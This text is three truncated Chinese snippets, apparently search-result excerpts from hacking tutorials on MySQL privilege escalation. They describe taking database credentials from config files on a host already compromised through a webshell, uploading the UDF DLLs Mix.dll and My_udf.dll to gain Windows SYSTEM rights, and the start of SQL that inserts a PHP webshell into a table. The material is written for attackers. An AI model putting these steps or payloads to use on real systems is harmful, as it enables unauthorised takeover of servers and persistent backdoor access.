MYSQL的弱口令可以通过提权拿到系统权限，不过有个前提，就是知道目标主机账号和密码，才能进行提权。不过，WEBSHELL获得了，找mysql账号应该也不是什么难事 ...... 一般来说连接MYSQL的帐户密码非常好找，比如config.php、conn.php等，找到后先用SQL Query 测试连接，如图： 连接成功，现在开始将 Mix.dll& My_udf.dll 上传(Mix.…

一、功能 利用MYSQL的自定义函数功能（再次声明：利用MYSQL UDF提权绝非是溢出，而是MYSQL本身的一个功能），将MYSQL账号转化为系统system权限。 二、适用场合 1.目标系统是Windows(Win2000,XP,Win2003)； 2.你已经拥有MYSQL的某个用户账号，此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。 三、使用…

1、第一种方法 CREATE TABLE 'mysql'.'study' ('7on' TEXT NOT NULL );    INSERT INTO 'mysql'.'study' ('7on' )VALUES ('<?php @e…